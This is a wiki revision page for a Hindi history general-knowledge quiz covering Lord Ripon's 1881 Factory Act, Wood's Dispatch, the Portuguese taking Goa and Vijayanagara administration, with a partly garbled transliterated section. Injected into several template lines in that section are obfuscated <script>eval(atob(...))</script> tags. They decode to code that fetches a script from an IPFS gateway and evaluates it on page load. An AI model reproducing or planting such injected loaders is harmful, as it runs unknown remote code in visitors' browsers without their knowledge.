Difference between revisions of "इतिहास सामान्य ज्ञान 52"

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+मृत्युंजय विद्यालंकार
 
+मृत्युंजय विद्यालंकार
 
-[[राजा राममोहन राय]]
 
-[[राजा राममोहन राय]]
 
{किसकी पदावधि में महिलाओं तथा बच्चों की कार्यावधि के घंटों को सीमित करने तथा स्थानीय शासन को आवश्यक नियम बनाने और प्राधिकृत करने के लिए प्रथम फ़ैक्टरी अधिनियम का अभिग्रहण किया गया?
 
|type="()"}
 
-[[लॉर्ड लिटन]]
 
-[[लॉर्ड विलियम बैंटिक|लॉर्ड बैंटिक]]
 
+[[लॉर्ड रिपन]]
 
-[[लॉर्ड कैनिंग]]
 
||[[चित्र:Lord-Ripon.jpg|right|100px|लॉर्ड रिपन]]लॉर्ड रिपन का पूरा नाम 'जॉर्ज फ़्रेडरिक सैमुअल राबिन्सन' था। वह [[1880]] ई. में [[लॉर्ड लिटन प्रथम]] के बाद [[भारत]] का [[वायसराय]] बनकर आया था। अपने से पहले आये सभी वायसरायों की तुलना में यह अधिक उदार था। अपने सुधार कार्यों के अन्तर्गत [[लॉर्ड रिपन]] ने सर्वप्रथम [[समाचार पत्र|समाचार पत्रों]] की स्वतन्त्रता को बहाल करते हुए [[1882]] ई. में '[[वर्नाक्यूलर प्रेस एक्ट]]' को समाप्त कर दिया। प्रथम फ़ैक्ट्री अधिनियम-1881 ई. रिपन द्वारा ही लाया गया। अधिनियम के अन्तर्गत यह व्यवस्था की गई कि जिस कारख़ाने में सौ से अधिक श्रमिक कार्य करते हैं, वहाँ पर 7 वर्ष से कम आयु के बच्चे काम नहीं कर सकेंगे। 12 वर्ष से कम आयु के बच्चों के लिए काम करने के लिए घण्टे तय कर दिये गये और इस क़ानून के पालन के लिए एक निरीक्षक को नियुक्त कर दिया गया।{{point}} अधिक जानकारी के लिए देखें:-[[लॉर्ड रिपन]]
 
 
{[[भारत]] में पश्चिमी शिक्षा पद्धति का मैग्नाकार्टा निम्नलिखित में से कौन सा था?
 
|type="()"}
 
-पब्लिक इंस्ट्रक्शन कमिटी, 1823 की रिपोर्ट
 
-1833 का [[चार्टर एक्ट]]
 
+[[वुड घोषणा पत्र|सर चार्ल्स वुड का घोषणा पत्र]]
 
-[[हंटर शिक्षा आयोग|हंटर कमीशन की रिपोर्ट]]
 
||वुड का घोषणा पत्र 'बोर्ड ऑफ़ कन्ट्रोल' के प्रधान सर चार्ल्स वुड द्वारा [[19 जुलाई]], 1854 को जारी किया गया था। इस घोषणा पत्र में भारतीय शिक्षा पर एक व्यापक योजना प्रस्तुत की गई थी, जिसे 'वुड का डिस्पैच' कहा गया। 100 अनुच्छेदों वाले इस प्रस्ताव में शिक्षा के उद्देश्य, माध्यम, सुधारों आदि पर विचार किया गया था। '[[वुड घोषणा पत्र]]' को शिक्षा का 'मैग्नाकार्टा' भी कहा जाता है। प्रस्ताव में पाश्चात्य शिक्षा के प्रसार को सरकार ने अपना उद्देश्य बनाया। उच्च शिक्षा को [[अंग्रेज़ी भाषा]] के माध्यम से दिये जाने पर बल दिया गया, परन्तु साथ ही देशी भाषा के विकास को भी महत्व दिया गया।{{point}} अधिक जानकारी के लिए देखें:-[[वुड घोषणा पत्र]]
 
 
{मूर्ति पूजा का आरम्भ कब से माना जाता है?
 
|type="()"}
 
+पूर्व आर्य काल
 
-[[उत्तर वैदिक काल]]
 
-[[मौर्य काल]]
 
-[[कुषाण काल]]
 
 
{[[पुर्तग़ाली|पुर्तग़ालियों]] ने [[गोवा]] पर अधिकार किस वर्ष किया?
 
|type="()"}
 
-1500 ई.
 
-1508 ई.
 
+1510 ई.
 
-1512 ई.
 
||[[चित्र:Anjuna-Beach-Goa.jpg|right|100px|अंजुना तट, गोवा]] 'पुर्तग़ाली' [[पुर्तग़ाल]] देश के निवासियों को कहा जाता है। [[वास्कोडिगामा]] द्वारा की गई [[भारत]] यात्राओं ने पश्चिमी [[यूरोप]] से 'कैप ऑफ़ गुड होप' होकर पूर्व के लिए समुद्री मार्ग खोल दिए थे। जिस स्थान का नाम पुर्तग़ालियों ने [[गोवा]] रखा, वह एक छोटा-सा समुद्र तटीय शहर 'गोअ-वेल्हा' था। कालान्तर में उस क्षेत्र को गोवा कहा जाने लगा, जिस पर [[पुर्तग़ाली|पुर्तग़ालियों]] ने क़ब्ज़ा किया था। पुर्तग़ाली [[अल्बुकर्क]] ने [[बीजापुर]] से गोवा 1510 में छीनकर अपनी नयी नीति का सूत्रपात किया। गोवा का टापू बहुत अच्छा प्राकृतिक बंदरगाह और क़िला था। इसका सामरिक महत्व भी था, यहाँ से पुर्तग़ाली मालाबार के साथ व्यापार भी संभाल सकते थे और दक्षिण के शासकों की नीतियों पर नज़र भी रख सकते थे।{{point}}अधिक जानकारी के लिए देखें:-[[पुर्तग़ाली]]
 
 
{[[विजयनगर साम्राज्य]] में पुलिस का वेतन निम्नलिखित किस एक में से दिया जाता था?
 
|type="()"}
 
+वेश्यालयों से होने वाली आय से
 
-सामान पर लगने वाले कर से
 
-भू-राजस्व से
 
-मदिरा की दुकानों से होने वाली प्राप्ति से
 
||[[चित्र:Hampi-3.jpg|right|120px|हम्पी के अवशेष]]प्राचीन समय में [[विजयनगर साम्राज्य]] की राजधानी [[हम्पी]] थी। शासन व्यवस्था के अंतर्गत राज्य द्वारा वसूल किये जाने वाले विविध करों के नाम थे- 'कदमाई', 'मगमाई', 'कनिक्कई', 'कत्तनम', 'कणम', 'वरम', 'भोगम', 'वारिपत्तम', 'इराई' और 'कत्तायम'। राज्य की सेना में पैदल, अश्वारोही, [[हाथी]] तथा ऊँट शामिल थे। सैन्य विभाग को 'कन्दाचार' कहा जाता था। इस विभाग का उच्च अधिकारी 'दण्डनायक' या 'सेनापति' होता था। प्रधान न्यायधीश प्राय: राजा ही होता था। भयंकर अपराध के लिए शरीर के अंग विच्छेदन का दंड दिया जाता था। प्रान्तों में प्रान्तपति तथा गाँवों में 'आयंगार' न्याय करता था। पुलिस विभाग का ख़र्च वेश्याओं पर लगाये गये कर से चलता था। न्याय व्यवस्था [[हिन्दू धर्म]] पर आधारित थी।{{point}}अधिक जानकारी के लिए देखें:-[[विजयनगर साम्राज्य]]
 
 
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Revision as of 12:34, 21 August 2016

samany jnan prashnottari
rajyoan ke samany jnan


  1. REDIRECTsaancha:nila<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>is vishay se sanbandhit lekh padhean:-
  2. REDIRECTsaancha:nila band<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas praangan, itihas kosh, aitihasik sthan kosh<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne par jaean
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1 bharat ke svadeshi aandolan ke dauran likha gaya git "amar sonar baansala" ne baangladesh ko usake svatantrata sangram mean protsahit kiya aur use baangladesh ne rashtriy gan ke roop mean apanaya. yah git kisane likha tha?

rajanikaant sen
dvijendralal r aauy
mukund das
rabindranath thakur

2 nimnalikhit mean se kaun-sa yugm sahi sumelit nahian hai?

gulabadan begam - humayooannama
khvand mir - qanoon-e-humayooanni
jiyauddin barani - tarikh-e-phirojashahi
khvaja kala - tajkir-e-humayooan evan akabar

4 'siri' namak nagar ki sthapana kisane ki thi?

kaikubad
jalaluddin khilaji
alauddin khilaji
gayasuddin khilaji

5 nimnalikhit mean se kisane bharat mean pratham aangrezi bhasha ka samachar patr prakashit kiya?

ravindranath taigor
gangadhar bhattachary
mrityuanjay vidyalankar
raja ramamohan ray

panne par jaean
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samany jnan prashnottari
rajyoan ke samany jnan


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